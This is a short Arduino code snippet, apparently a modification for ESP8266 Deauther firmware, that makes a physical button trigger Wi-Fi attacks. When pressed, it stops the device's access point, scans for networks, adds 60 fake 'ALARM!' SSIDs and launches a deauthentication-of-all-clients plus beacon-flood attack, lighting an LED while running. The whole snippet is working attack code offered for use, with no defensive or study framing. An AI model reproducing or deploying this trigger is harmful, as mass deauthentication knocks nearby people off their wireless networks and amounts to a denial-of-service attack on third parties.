In the end of setup():
pinMode(D5, INPUT_PULLUP); // enable button pin
pinMode(D4, OUTPUT); // enable LED pin
In the beginning of loop():
if(digitalRead(D5)){
if(!attack.isRunning()){
serialInterface.runCommand("stopap"); // stop access point and web interface
serialInterface.runCommand("set beaconinterval true"); // change beacon interval from 10/s to 1/s for better performance
serialInterface.runCommand("scan aps -c 60s"); // start scan for access points each minute
serialInterface.runCommand("add ssid ALARM! -cl 60 -f"); // add SSID "ALARM!" 60 times
serialInterface.runCommand("attack -da -b"); // start deauth all and beacon attack
digitalWrite(D4, LOW); // turn LED on
}
}else{
if(attack.isRunning()){
scan.stop(); // stop scan
attack.stop(); // stop attack
digitalWrite(D4, HIGH); // turn LED off
}
}